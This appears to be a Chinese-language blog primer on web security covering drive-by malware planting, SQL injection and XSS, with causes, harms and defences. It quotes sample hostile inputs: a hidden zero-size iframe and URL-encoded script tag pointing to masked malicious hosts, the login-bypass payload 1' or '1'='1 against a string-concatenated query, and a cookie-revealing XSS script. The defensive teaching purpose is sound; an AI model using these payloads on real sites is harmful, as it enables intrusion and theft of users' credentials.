Web安全前传

随着各种网站如春笋般冒出,暗黑世界的各种力量也蠢蠢欲动。特别是“神兵利器”的各种普及,脚本小子们也大杀四方。所谓知彼知己,起码不要被人一锅端了,还不知道个所以然。先了解下几个常见的攻击种类,不要连简单的渗透测试工具都过不了,那就悲剧了。你要相信所有的输入都是不安全的,不可信任的。对于用户输入记得要转码或转义。关闭文件夹访问和非页面文件的下载及执行。网上整理了些攻击方式,做个备忘吧。

挂马攻击

挂马攻击是指攻击者在已经获得控制权的网站的网页中嵌入恶意代码(通常是通过IFrame、Script引用来实现),当用户访问该网页时,嵌入的恶意代码利用浏览器本身的漏洞、第三方ActiveX漏洞或者其它插件(如Flash、PDF插件等)漏洞,在用户不知情的情况下下载并执行恶意木马。

挂马方式

目前挂马的主要方式是通过IFrame与Script嵌入网马URL,比如下面的挂马代码:

  1. <iframe src=http://www.cq***.com/Img/ width=0 height=0></iframe>

这里通过将IFrame的width与height设置为0,使得嵌入的网马URL在网页上不可见。

  1. <script src=http://%68%68%6A%32***%63%6E></script>

这里Script里的URL是经过URL encode编码的。通过各种编码、混淆、客户端判断等方式来隐藏、保护网马是攻击者挂马常用的手段。
除了这两种常见的挂马方式外,还有如下几种:

  • 利用JavaScript执行各种经过编码、混淆的攻击代码进行挂马。
  • 利用网页跳转、弹出新窗口等方式进行挂马。
  • 利用Flash等媒体封装的方式进行挂马。
  • 在CSS(层叠样式表)里可以执行JavaScript的浏览器中进行挂马。
挂马常见类型

常见的几种类型如下:

  • 数据库挂马攻击者利用SQL注入漏洞将挂马代码注入到数据库的某些字段中,如果网站页面使用到这些字段的值,并且没做适当的过滤,就有可能导致用户访问该网站的页面时执行攻击者注入的代码。
  • 文件挂马

攻击者直接将挂马代码批量写入服务端文件里以达到整站挂马的目的。

  • ARP挂马

在与目标站点同一局域网的情况下,攻击者可以通过控制局域网中任意一台主机计算机发起ARP欺骗,并将挂马代码注入到用户请求的响应页面上,从而达到隐蔽的挂马目的。这样的攻击方式在客户端上也可能发生,比如用户所在的局域网有ARP病毒,那么用户请求的所有网站都有可能被注入挂马代码。

  • 服务端配置文件挂马

比如IIS里的文件重定向、启用文档页脚、修改IIS映射等挂马。这类挂马比较隐蔽,也是挂马常用的技巧。

  • XSS挂马

利用XSS跨站脚本漏洞,将挂马代码注入到客户端页面以达到挂马的目的。

挂马危害

网站被挂马不仅严重影响到了网站的公众信誉度,还可能对访问该网站的用户计算机造成很大的破坏。
一般情况下,攻击者挂马的目的只有一个:利益。如果用户访问被挂网站时,用户计算机就有可能被植入病毒,这些病毒会偷盗各类账号密码,如网银账户、游戏账号、邮箱账号、QQ及MSN账号等。植入的病毒还可能破坏用户的本地数据,从而给用户带来巨大的损失,甚至让用户计算机沦为僵尸网络中的一员。

网站被挂马的解决方案

对于网站被挂马,建议如下:

  • 通过上面介绍的“挂马常见类型”迅速分析定位网站被挂马的原因。
    1. 数据库挂马:及时恢复数据库或者利用嵌入的挂马代码,搜索数据库,定位到挂马代码所在的字段值并清除。
    2. 文件挂马:使用工具或者命令遍历网站所有文本文件,批量清除挂马代码。
    3. ARP挂马:查找出局域网中的ARP病毒源头,清除病毒,并将相应计算机进行安全加固或重新安装系统。
    4. 服务端配置文件挂马:如果上述的方法找不到挂马代码时,就应该查找网站服务端配置文件是否存在异常,并恢复。
    5. XSS挂马:这类挂马使用不广泛,修补网站的XSS漏洞即可解决问题。

及时检测并修补网站本身以及网站所在服务端环境的各类漏洞,从而在根源上降低消除网站被挂马的风险。

SQL注入攻击漏洞

SQL注入攻击(SQL Injection),简称注入攻击、SQL注入,是发生在应用程序的数据库层上的安全漏洞。在设计不良的程序当中,忽略了对输入字符串中夹带的SQL指令的检查,那么这些夹带进去的指令就会被数据库误认为是正常的SQL指令而运行,从而使数据库受到攻击,可能导致数据被窃取、更改、删除,以及进一步导致网站被嵌入恶意代码、被植入后门程序等危害。

SQL注入实例

某网站的登录页面如下:
用户登录表单
页面表单提交时,将用户名赋予变量v_user,将密码赋予变量v_pass。
假定该登录页面后台身份验证代码为:

  1. select * from user where user_name=’”
  2. + v_user +
  3. “’ and password=’”
  4. + v_pass +
  5. ”’;”

如果输入:用户名:admin,密码:123456
则数据库执行的查询语句为:

  1. select * from user where user_name=’admin’ and password=’123456’;

一切均正常。但如果用户恶意输入使得:

  1. v_user=”admin”
  2. v_pass=”1’ or ‘1’=’1”

此时认证SQL语句变成了:

  1. select * from user where user_name=’admin’ and password=’1’ or ‘1’=’1’;

等同于语句:

  1. select * from user where user_name=’admin’;

从而达到了无需密码,同样可登入网站的目的。
如果用户输入数据中包含其他update、 delete、 select等操作,则会导致数据库数据被修改、删除、和敏感内容泄密。

SQL注入位置

无论是内网环境还是外网环境(互联网),B/S架构的Web应用(以下指网站)都直接或者间接地受到各种类型的Web攻击的影响。对于后台数据库来说,以SQL注入攻击危害最为普遍,由于网站服务端语言自身的缺陷与程序员编写代码的安全意识不足,攻击者可以将恶意SQL语句注入到正常的数据库操作指令中去,从而使该恶意SQL语句在后台数据库中被解析执行。

在SQL注入攻击之前,首先要找到网站中各类与数据库形成交互的输入点。通常情况下,一个网站的输入点包括:

  • 表单提交,主要是POST请求,也包括GET请求。
  • URL参数提交,主要为GET请求参数。
  • Cookie参数提交。
  • HTTP请求头部的一些可修改的值,比如Referer、User_Agent等。
  • 一些边缘的输入点,比如.mp3文件的一些文件信息等。

服务端从客户端直接或间接获取数据的过程都是一次输入过程,无论直接或间接,默认情况下输入的数据都应该认为是不安全的。上面列举的几类输入点,只要任何一点存在过滤不严,过滤缺陷等问题,都有可能发生SQL注入攻击。大多数情况下,SQL注入的过程都是由工具完成的,其中包括大批量注入工具的使用。

SQL注入危害

SQL注入的危害不仅体现在数据库层面上,还有可能危及承载数据库的操作系统;如果SQL注入被用来挂马,还可能用来传播恶意软件等,这些危害包括但不局限于:

  • 数据库信息泄漏:数据库中存放的用户的隐私信息的泄露。作为数据的存储中心,数据库里往往保存着各类的隐私信息,SQL注入攻击能导致这些隐私信息透明于攻击者。
  • 网页篡改:通过操作数据库对特定网页进行篡改。
  • 网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击。
  • 数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被窜改。
  • 服务器被远程控制,被安装后门。经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。
  • 破坏硬盘数据,瘫痪全系统。

一些类型的数据库系统能够让SQL指令操作文件系统,这使得SQL注入的危害被进一步放大。

SQL注入解决方案

解决SQL注入问题的关键是对所有可能来自用户输入的数据进行严格的检查、对数据库配置使用最小权限原则。
经常使用的方案有:

  • 所有的查询语句都使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中。当前几乎所有的数据库系统都提供了参数化SQL语句执行接口,使用此接口可以非常有效的防止SQL注入攻击。
  • 对进入数据库的特殊字符('”\&<>*;等)进行转义处理,或编码转换。
  • 确认每种数据的类型,比如数字型的数据就必须是数字,数据库中的存储字段必须对应为int型。
  • 数据长度应该严格规定,能在一定程度上防止比较长的SQL注入语句无法正确执行。
  • 网站每个数据层的编码统一,建议全部使用UTF-8编码,上下层编码不一致有可能导致一些过滤模型被绕过。
  • 严格限制网站用户的数据库的操作权限,给此用户提供仅仅能够满足其工作的权限,从而最大限度的减少注入攻击对数据库的危害。
  • 避免网站显示SQL错误信息,比如类型错误、字段不匹配等,防止攻击者利用这些错误信息进行一些判断。
  • 在网站发布之前建议使用一些专业的SQL注入检测工具进行检测,及时修补这些SQL注入漏洞。

XSS攻击漏洞

跨站脚本攻击(Cross-site scripting,通常简称为XSS)发生在客户端,恶意的攻击者将对客户端有危害的代码放到服务器上作为一个网页内容,使得其他网站用户在观看此网页时,这些代码注入到了用户的浏览器中执行,使用户受到攻击。一般而言,利用跨站脚本攻击,攻击者可窃会话COOKIE从而窃取网站用户的隐私,包括密码。
XSS攻击使用到的技术主要为HTML和JavaScript,也包括VBScript和ActionScript等。XSS攻击对WEB服务器虽无直接危害,但是它借助网站进行传播,使网站的使用用户受到攻击,导致网站用户帐号被窃取,从而对网站也产生了较严重的危害。

XSS实例

假如一个搜索引擎网站中存在跨站脚本漏洞,攻击者给查询参数q增加了恶意构造的值(跨站代码:

  1. http://www.xxx.cn?q=<script>alert(document.cookie)</script>

如果服务端在返回的结果页面中,将用户提交的内容进行了原样的显示,那么访问这个链接时会弹出你的Cookie信息,例如:

  1. <html><br />你查询的是:<script>alert(document.cookie)</script></html>

这儿跨站产生的原因是:链接中的跨站代码被写进客户端HTML代码中,从而引进了不安全的HTML标签(<script>)导致跨站脚本攻击。

XSS原理

攻击者通过网站的输入点嵌入非法的HTML标签与JavaScript脚本并执行以达到在客户端攻击的目的。攻击者注入的标签与脚本最终都要在客户端执行,攻击的过程实际上都在客户端的浏览器上发生的。
能在客户端进行跨站的不仅仅是HTML标签与JavaScript脚本,还包含一些其它的客户端应用,比如Flash里的ActionScript脚本也能辅助发起XSS攻击。
XSS攻击中WEB服务器没有过滤类似<script>标签字符串是导致XSS攻击得逞的最主要原因。

XSS类型

XSS类型包括:
1、非持久型跨站:即反射型跨站脚本漏洞,是目前最普遍的跨站类型。跨站代码一般存在于链接中,请求这样的链接时,跨站代码经过服务端反射回来,这类跨站的代码不存储到服务端(比如数据库中)。上面章节所举的例子就是这类情况。
2、持久型跨站:这是危害最直接的跨站类型,跨站代码存储于服务端(比如数据库中)。常见情况是某用户在论坛发贴,如果论坛没有过滤用户输入的JavaScript代码数据,就会导致其他浏览此贴的用户的浏览器会执行发贴人所嵌入的JavaScript代码。
3、DOM跨站(DOM XSS):是一种发生在客户端DOM(Document Object Model文档对象模型)中的跨站漏洞,很大原因是因为客户端脚本处理逻辑导致的安全问题。

XSS危害

XSS的危害包括但不限于:

  • 钓鱼欺骗:最典型的就是利用目标网站的反射型跨站脚本漏洞将目标网站重定向到钓鱼网站,或者注入钓鱼JavaScript以监控目标网站的表单输入,甚至发起基于DHTML更高级的钓鱼攻击方式。
  • 网站挂马:跨站时利用IFrame嵌入隐藏的恶意网站或者将被攻击者定向到恶意网站上,或者弹出恶意网站窗口等方式都可以进行挂马攻击。
  • 身份盗用:Cookie是用户对于特定网站的身份验证标志,XSS可以盗取到用户的Cookie,从而利用该Cookie盗取用户对该网站的操作权限。如果一个网站管理员用户Cookie被窃取,将会对网站引发巨大的危害。
  • 盗取网站用户信息:当能够窃取到用户Cookie从而获取到用户身份使,攻击者可以获取到用户对网站的操作权限,从而查看用户隐私信息。
  • 垃圾信息发送:比如在SNS社区中,利用XSS漏洞借用被攻击者的身份发送大量的垃圾信息给特定的目标群。
  • 劫持用户Web行为:一些高级的XSS攻击甚至可以劫持用户的Web行为,监视用户的浏览历史,发送与接收的数据等等。
  • XSS蠕虫:XSS 蠕虫可以用来打广告、刷流量、挂马、恶作剧、破坏网上数据、实施DDoS攻击等。
XSS解决方案

常用的防止XSS技术包括:

  • 与SQL注入防护的建议一样,假定所有输入都是可疑的,必须对所有输入中的<script字样、 <iframe等字样进行严格的检查。这里的输入不仅仅是用户可以直接交互的输入接口,也包括HTTP请求中的Cookie中的变量,HTTP请求头部中的变量等。
  • 不仅要验证数据的类型,还要验证其格式、长度、范围和内容。
  • 不要仅仅在客户端做数据的验证与过滤,关键的过滤步骤在服务端进行。
  • 对输出的数据也要检查,数据库里的值有可能会在一个大网站的多处都有输出,即使在输入做了编码等操作,在各处的输出点时也要进行安全检查。

在发布应用程序之前测试所有已知的威胁。

不去还施彼身,那也要知彼之道吧,不去作恶,但也不能坐以待毙,网站被黑了,被拖库了可就不好玩了。

发表评论

电子邮件地址不会被公开。 必填项已用*标注

20 + 24 = ?